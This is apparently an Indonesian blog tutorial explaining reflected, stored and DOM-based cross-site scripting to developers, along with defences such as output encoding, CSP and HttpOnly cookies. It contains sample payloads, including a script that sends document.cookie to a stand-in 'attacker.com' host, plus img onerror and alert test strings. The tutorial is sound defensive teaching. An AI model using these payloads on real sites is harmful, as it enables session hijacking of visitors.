Cyber Security

XSS (Cross-Site Scripting) — Jenis, Dampak, dan Cara Mencegahnya untuk Developer

XSS (Cross-Site Scripting) — Jenis, Dampak, dan Cara Mencegahnya untuk Developer

Pernah nggak kamu login ke suatu website, lalu tiba-tiba ada yang aneh — entah muncul popup aneh, session kamu hilang, atau malah ada yang mengubah profil tanpa izin? Kalau iya, bisa jadi website itu sedang "digigit" oleh salah satu vulnerability paling klasik di dunia web: Cross-Site Scripting, atau yang lebih kita kenal dengan XSS.

XSS itu seperti SQL Injection yang sudah kita bahas sebelumnya — sama-sama masuk dalam daftar OWASP Top 10, sama-sama berbahaya, tapi cara kerjanya beda banig. Kalau SQL Injection menyerang database, XSS menyerang browser pengunjung. Dan yang bikin mengerikan, korban biasanya nggak sadar sama sekali.

XSS Itu Apa, Sebenarnya?

Bayangkan kamu punya sebuah papan pengumuman di kantor. Siapa saja boleh menulis catatan dan menempelkannya di papan itu. Sekarang, bayangkan ada orang iseng yang menulis catatan berisi instruksi tersembunyi — misalnya, "Kalau kamu baca catatan ini, kirim semua isi dompet kamu ke alamat ini." Orang lain yang membaca papan pengumuman itu tanpa sadar mengikuti instruksi tersebut.

Itulah XSS dalam analogi sederhana. XSS adalah vulnerability di mana penyerang menyuntikkan kode JavaScript (atau kadang HTML) ke dalam halaman web yang dilihat oleh pengunjung lain. Browser korban menjalankan kode itu seolah-olah itu adalah bagian dari website yang sah.

Kuncinya di sini: yang menjalankan kode bukan server, tapi browser korban. Browser nggak bisa bedakan antara JavaScript yang memang berasal dari website dan JavaScript yang disuntikkan oleh penyerang — selama keduanya datang dari domain yang sama.

Jenis-Jenis XSS yang Perlu Diketahui

XSS punya tiga varian utama, dan masing-masing punya karakteristik serta cara mitigasi yang berbeda.

1. Reflected XSS

Ini adalah jenis XSS paling umum dan paling mudah dipahami. Kode jahat dikirim ke server (biasanya melalui URL parameter), lalu server "memantulkannya" (reflect) kembali ke browser korban tanpa sanitasi yang memadai.

Contoh sederhana:

https://example.com/search?q=<script>alert('XSS')</script>

Jika website tidak melakukan sanitasi terhadap parameter q, browser akan menjalankan script alert('XSS') saat halaman hasil pencarian dimuat. Dalam skenario nyata, penyerang bisa mengganti alert() dengan kode yang mencuri cookie, session token, atau data sensitif lainnya.

Reflected XSS membutuhkan korban untuk mengklik link yang sudah diracuni. Itu sebabnya sering dikirim via email atau pesan — "Klik link ini untuk lihat hasil pencarian kamu!"

2. Stored XSS

Ini yang paling berbahaya. Kode jahat disimpan (stored) di database server — bisa di kolom komentar, profil user, nama, atau field apa saja yang bisa diakses oleh pengunjung lain.

Bayangkan seseorang meninggalkan komentar di blog kamu:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

Setiap orang yang membuka halaman artikel itu akan tanpa sadar mengirim cookie mereka ke server penyerang. Nggak perlu link khusus, nggak perlu user action — cukup buka halaman, dan kamu sudah kena.

Stored XSS seperti racun yang sudah tercampur di makanan. Semua orang yang makan akan keracunan, tanpa perlu dihasut.

3. DOM-based XSS

Jenis ini terjadi murni di sisi client. Server tidak terlibat sama sekali — kode jahat dimanipulasi melalui manipulasi DOM (Document Object Model) oleh JavaScript di halaman.

Contohnya, sebuah website menggunakan document.location atau document.URL untuk mengambil parameter, lalu memasukkannya ke dalam halaman tanpa sanitasi:

const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Halo, ' + name;

Jika seseorang mengakses URL dengan name=<img src=x onerror=alert(1)>, browser akan menjalankan alert(1) saat mencoba memuat gambar yang tidak valid.

DOM-based XSS sulit dideteksi oleh server-side firewall karena serangan terjadi seluruhnya di browser.

Dampak XSS: Kenapa Ini Serius?

Banyak developer yang meremehkan XSS dengan alasan "cuma alert doang, nggak berbahaya." Padahal dampaknya bisa sangat luas:

  • Session Hijacking — Cookie dan session token bisa dicuri, memungkinkan penyerang login sebagai korban.
  • Keylogging — Penyerang bisa menyuntikkan script yang mencatat setiap ketikan korban, termasuk password.
  • Defacement — Halaman website bisa diubah tampilannya untuk menipu pengunjung.
  • Malware Distribution — Redirect korban ke halaman phishing atau download malware.
  • Crypto Mining — Browser korban bisa dimanfaatkan untuk menambang cryptocurrency tanpa izin.

Dalam konteks website dengan banyak pengguna aktif, satu stored XSS bisa menginfeksi ribuan korban dalam hitungan menit.

Cara Mencegah XSS

Kabar baiknya, XSS bisa dicegah dengan prinsip yang sederhana: jangan pernah percaya input dari user. Berikut strategi mitigasi yang efektif:

1. Output Encoding

Setiap kali kamu menampilkan data dari user ke dalam HTML, encode karakter khusus. Di PHP:

<?php
$user_input = $_GET['name'];
// Aman — karakter HTML di-encode
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
?>

Di JavaScript, gunakan textContent bukan innerHTML untuk menampilkan teks:

// Berbahaya
element.innerHTML = userInput;

// Aman
element.textContent = userInput;

2. Content Security Policy (CSP)

CSP adalah HTTP header yang membatasi sumber daya mana yang boleh browser jalankan. Dengan CSP yang ketat, bahkan jika XSS berhasil disuntikkan, browser akan menolak menjalankan script dari sumber yang tidak diizinkan.

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

Header ini hanya mengizinkan script dan style dari domain sendiri. Script injection dari domain lain akan diblokir otomatis oleh browser.

3. HTTPOnly Cookie

Dengan flag HttpOnly pada cookie, JavaScript tidak bisa mengakses cookie tersebut — bahkan jika XSS berhasil. Ini adalah pertahanan terakhir yang sangat efektif untuk mencegah session hijacking.

<?php
setcookie('session_id', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);
?>

4. Sanitasi Input

Untuk konten yang memang perlu mengandung HTML (seperti komentar rich text), gunakan library sanitasi seperti DOMPurify di JavaScript atau HTMLPurifier di PHP. Library ini akan membuang semua tag dan atribut berbahaya sambil mempertahankan konten yang aman.

5. Validasi di Sisi Server

Jangan hanya mengandalkan validasi di client-side — penyerang bisa melewati semua validasi JavaScript dengan curl atau tools lainnya. Validasi harus dilakukan di server sebelum data diproses atau disimpan.

XSS dalam Konteks Development Modern

Framework modern seperti React, Vue, dan Angular sudah punya perlindungan XSS bawaan. React, misalnya, secara otomatis melakukan output encoding saat rendering JSX. Tapi itu bukan jaminan mutlak — developer masih bisa membuka celah dengan menggunakan dangerouslySetInnerHTML atau v-html tanpa sanitasi.

Begitu juga dengan backend modern. Laravel punya Blade templating engine yang otomatis escape output. Tapi sekali lagi, fitur seperti {!! !!} (unescaped output) bisa menjadi jalan masuk XSS jika digunakan tanpa hati-hati.

Intinya: framework membantu, tapi tidak menggantikan pemahaman developer tentang security.

Tools Testing XSS

Untuk menguji apakah website kamu rentan XSS, beberapa tools yang bisa digunakan:

  • Burp Suite — Intercept dan modifikasi request, inject payload ke berbagai parameter.
  • OWASP ZAP — Scanner otomatis yang bisa mendeteksi berbagai jenis XSS.
  • XSS Hunter — Platform yang membantu testing blind XSS.
  • Playwright / Puppeteer — Browser automation untuk testing XSS secara manual.

Cara paling sederhana: coba inject <script>alert(document.domain)</script> ke setiap input field di website kamu. Jika alert muncul, kamu punya XSS vulnerability.

Kesimpulan

XSS bukan sekadar "masalah lama" yang sudah solved oleh framework modern. Setiap tahun, ratusan CVE baru terkait XSS ditemukan di software populer — WordPress plugins, CMS, library JavaScript, bahkan browser itu sendiri. OWASP masih memasukkan XSS dalam Top 10 karena prevalensinya yang tinggi dan dampaknya yang signifikan.

Sebagai developer, memahami XSS bukan hanya tentang menulis kode yang aman — tapi juga tentang membangun kebiasaan. Selalu encode output, selalu validasi input, selalu asumsikan bahwa user akan mencoba menyerang website kamu. Karena percaya atau tidak, mereka akan melakukannya.

Punya pengalaman dengan XSS? Pernah nemu vulnerability ini di website production? Cerita di kolom komentar — siapa tahu pengalaman kamu bisa jadi pelajaran buat developer lain.